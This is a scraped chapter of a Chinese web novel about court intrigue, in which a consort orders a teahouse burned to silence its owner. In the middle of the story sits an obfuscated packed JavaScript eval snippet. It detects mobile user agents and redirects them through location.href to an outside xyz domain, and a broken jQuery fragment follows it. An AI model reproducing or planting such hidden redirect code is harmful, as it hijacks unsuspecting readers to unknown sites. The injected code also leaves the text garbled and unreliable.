苏荷没想到白辰会这样说白今安。
她意味深长地打量他,语气戏谑:“你的意思是,你阿翁是坏人?”
白辰目光闪烁,扭头避开了苏荷的视线。
他虽年岁比她大,但心智与阅历均停留在十五岁,且还带着某种与生俱来的虚弱,故尔掩饰自己情绪时总有些欲盖弥彰。
他说:“反正……我不希望姐姐受到伤害。”
苏荷笑了笑:“你觉得你阿翁会如何伤害我?”
白辰顿了顿,答非所问:“我的意思是……姐姐应当保护好自己。”
苏荷也答非所问:“你阿翁以前就长这个样子么?”
白辰有些发懵,蹙眉看着她。
他蹙眉时两边眉毛会变得一高一低,这使他看上去愈发像个孩童。
他反问:“姐姐此话何意?”
苏荷从他的反应可判断出,这个白辰或许并不知晓自己阿翁与当今皇上长得一模一样的事实。
她微微一笑:“我就随便问问。”
转而岔开话题:“其实以咱俩的年岁,我应叫你哥哥,而非你叫我姐姐。”
白辰泄气地叹了一声,也不知他泄气什么。
末了道一句:“这些不重要。”
她问:“那你觉得什么重要?”
白辰抿了抿嘴:“活着才重要。”说完转身走开了。
她何尝不知活着才重要!
她向来的目的不过就是好好活着而已。
故尔,她并没生出那么多世俗欲望——她不像张倩儿那般执着于找个如意郎君,她也不像徐南芝那般执着于为家族绵延子嗣。
她不过是想要自在地、平平安安地活下去!
但如今,洞内的白今安居心叵测,洞外的谢无痕随时要取她性命,活着这条路,她一直走得如履薄冰……
此时京城。
谢无痕刚一回府,赵富便来传话:“谢大人,皇上已等了你两日了,你且速速进宫面圣吧。”
谢无痕闻言有些恍惚,连日来为寻找苏荷,他已许久没顾得上皇上那桩差事了。
他回:“公公稍候,我换身衣裳便立即进宫。”
谢无痕走进未央殿时,皇帝正与五皇子在棋盘前对弈。
数日不见,五皇子如拔节的竹笋般蹿高了好一大截,很有一副小大人的模样了,且他悟性极高、记忆力超群,才学了几日的棋,竟然下得有模有样了。
谢无痕刚一出现,他立即起身来迎:“谢大人来啦,太好了,你快来看看,我是不是很快就能胜过父皇了?”
皇帝也笑了笑,“小小年纪,你口气倒是不小。”
谢无痕上前施了一礼。
皇帝随即让赵富收走棋盘,又吩咐五皇子:“父皇有要事与谢大人商议,你且去偏殿自个儿玩一会儿。”
五皇子乖乖应了声“是”,又礼貌地向谢无痕颔首施礼,这才提着棋盘去了旁边的偏殿。
谢无痕看着五皇子的背影,不由得感慨:“没想到五皇子长进这样快。”
皇帝也颇为欣慰:“虽为黄口稚儿,却是天生聪慧,或许将来可堪大任。”
谢无痕垂首答:“臣,恭喜皇上。”
皇帝再次笑了笑,随即打量他两眼:“五皇子长进了,子谕倒是落泊了,即黑了,且瘦了,怎的,还没寻到你家娘子的消息?”
自他发布寻人招贴,谢家少夫人离家出走之事已然全城皆知,皇帝自然也已获悉。
他答:“是,还未探到内人消息。”
皇帝顿了顿,又问:“朕好歹见过你家娘子一次,亦看出她是个温婉、贤淑且通情达理的女子,缘何会突然离家出走?”
谢无痕答:“是臣对家事处置不当,让皇上挂怀了。”
皇帝叹了一声:“朕自是无暇干涉谢家家事,只是子谕啊,你眼下身负寻找公主的重任,万不能顾此失彼啊。”
谢无痕郑重跪地:“臣该死,是臣疏忽了。”
皇帝的语气柔和了些许:“你先平身吧。”
待谢无痕起身,又说:“你若分身乏术,朕可以多派些人手给你。”
谢无痕答:“人手自是多多益善,多谢皇上。”
皇帝看着殿外的暮色,眸中流露几许苍凉:“失去至爱,寻而不得,如今,你也算是与朕同病相怜了。”
谢无痕垂首,一时无言。
皇帝又说:“愿你的结果能比朕的好。”
谢无痕悲从中来,嘴上却回:“愿借皇上吉言。”
从皇宫出来,已是掌灯时分。
他问吴生:“今日各处的探子可有发现少夫人的踪迹?”
吴生摇头:“没有。”
其实他问出这问题时本也知道还没发现她的踪迹。
若有消息,吴生岂不会第一时间向他禀报?
但他仍忍不住面色黯然,心头失落。
他随即吩咐:“明日清早去无忧茶肆吧。”
吴生问:“是皇上在催促找公主的事么?”
谢无痕“嗯”了一声,又说:“放心,皇上会给咱们加派人手的。”
吴生这才舒了口气,垂首应“是”。
此时长乐殿里。
淑妃正斜卧在软榻上,由着婢女给自己脸上敷黄瓜片。
内侍川子匆匆进殿:“娘娘,皇上又召见了谢无痕。”
淑妃闻言一顿:“那谢无痕不是正忙着寻妻么,怎的又开始在御前走动了?”末了问:“可探听到了因何事召见?”
川子答:“应该就是那桩旧事,奴才还从赵富的一个干儿子嘴里探到了关于那桩旧事的情况。”
淑妃闻言一把抹掉脸上的黄瓜片,“嗖”的一声从软榻上坐起来:“是何情况?”
川子压低声音:“听说那名叫多福的宫女早就死了,死前确实留下了一个孩子,眼下皇上正让谢无痕全力寻找那个孩子呢。”
淑妃追问:“那个孩子是男是女?”
川子摇头:“奴才费了许多口舌也未曾探出,但据说谢无痕是通过无忧茶肆的老板才让调查取得了关键性的进展,眼下那老板仍被谢无痕囚在茶肆里不得外出呢。”
淑妃起身在殿内踱步,边踱边思量:“多福竟然死了,死了是好事啊,如此,再无人敢与本宫争宠了,只是如今,”她兀地顿住,愤恨地握了握拳,“皇上对五皇子愈发倚重,几乎是带在身边亲自教导了。”
川子出言宽慰:“娘娘放心,那五皇子还年幼,不足为虑。”
淑妃仍是忧心忡忡:“但眼下不是又冒出了一个孩子么。”
川子答:“可万一是个公主呢?”
淑妃反问:“万一是个皇子呢?”
川子垂首,不敢再出声。
淑妃继续在殿内踱步:“无论如何,本宫也不能冒险。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295838|172640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
川子问:“娘娘想如何行事?”
淑妃想了想:“那无忧茶肆的老板叫什么?”
川子答:“叫曾艺道。”
“谢无痕为何还要囚着他?”
“这个……奴才不知,或许他还有什么实情未曾吐露?”
淑妃咬了咬牙:“既然谢无痕是通过那曾艺道去找多福的孩子,那咱们便取了曾艺道的性命,以断了他的去路便是。”
川子有些为难:“那茶肆周围全是大理寺的差役,咱们的人……不好下手啊。”
淑妃冷哼一声,“既然不好下手,那就将茶肆一把火烧了,最好将那曾艺道烧得尸骨无存。”
川子眸中精光一闪:“奴才这就去办。”
淑妃唤住他,“记住,让咱们的人多带些火油,最好将茶肆周围的屋子也一并烧了,届时必然火光冲天,那曾艺道若想从火场逃出,咱们也好趁乱将他杀掉。”
“还是娘娘思虑周全,奴才记住了。”川子说完转身而出。
无忧茶肆起火时正是后半夜。
曾艺道多年被头疾所扰,向来睡得惊醒,当他发现屋内的火光时,急忙冒着浓烟去楼下唤醒了熟睡的安子。
安子又急忙唤醒了茶肆内别的伙计。
此时屋内屋外早已是火光通天,惊叫声、哭喊声、火焰的噼里啪啦声交织成一片。
屋顶横梁突然跌落,“轰”的一声腾起更大一片火光,半边屋子也跟着垮塌了。
几人只得闪身躲到屋子的另一边。
曾艺道一边捂住口鼻,一边对安子大声交代:“这火已越燃越大,你赶紧带着大家从后门走,再不走就来不及了。”
安子问:“先生不走么?”
曾艺道答:“我自有我的去处。”
安子看着漫天的火光都要急哭了:“都到这等境地了先生还有什么去处?”他说着拽住曾艺道的手臂往外拉:“先生快与我们一起跑出去。”
已有两名店铺伙计朝屋外飞奔出去了。
曾艺道却甩开他的手:“你快走,不用管我。”说完用力将安子往外推。
安子不撒手,连哭边嚷:“先生究竟要做什么?”
曾艺道沉声回:“今日这火来得蹊跷、火势也蹿得太快,必是有人特意泼了火油,这人也定是冲我来的,即便我跑出去也是难逃一死,你们别与我搅和到一起,赶紧逃。”
安子哭着摇头:“小人生与先生一起生,死与先生一起死。”
曾艺道大喝:“你胡说什么,留得青山在,不怕没柴烧。”
安子大声反驳:“那先生为何不试着搏一搏,却要留在这火场被活活烧死。”
曾艺道再次厉喝:“我不会死的,你走。”
说完狠狠推了安子几把。
安子被推得连连趔趄、后退,又一根梁柱倒下来,他为了避让本能地跨向了火场外。
他嘴里连连喊着先生,先生却未挪一步。
在那片灼热而耀眼的火光里,曾艺道面色淡淡、嘴角含笑,目光安祥而平和,仿佛他不是处在生死之间,他只是如每日清晨那般站在茶台前煮茶而已。
安子不知先生为何执意要留下,也不知先生会不会死,好歹他是逃出来了,也活了下来。
黎明时分,当谢无痕闻讯赶来时,无忧茶肆已被烧成一片废墟。
曾艺道没了踪迹,活不见人,死不见尸!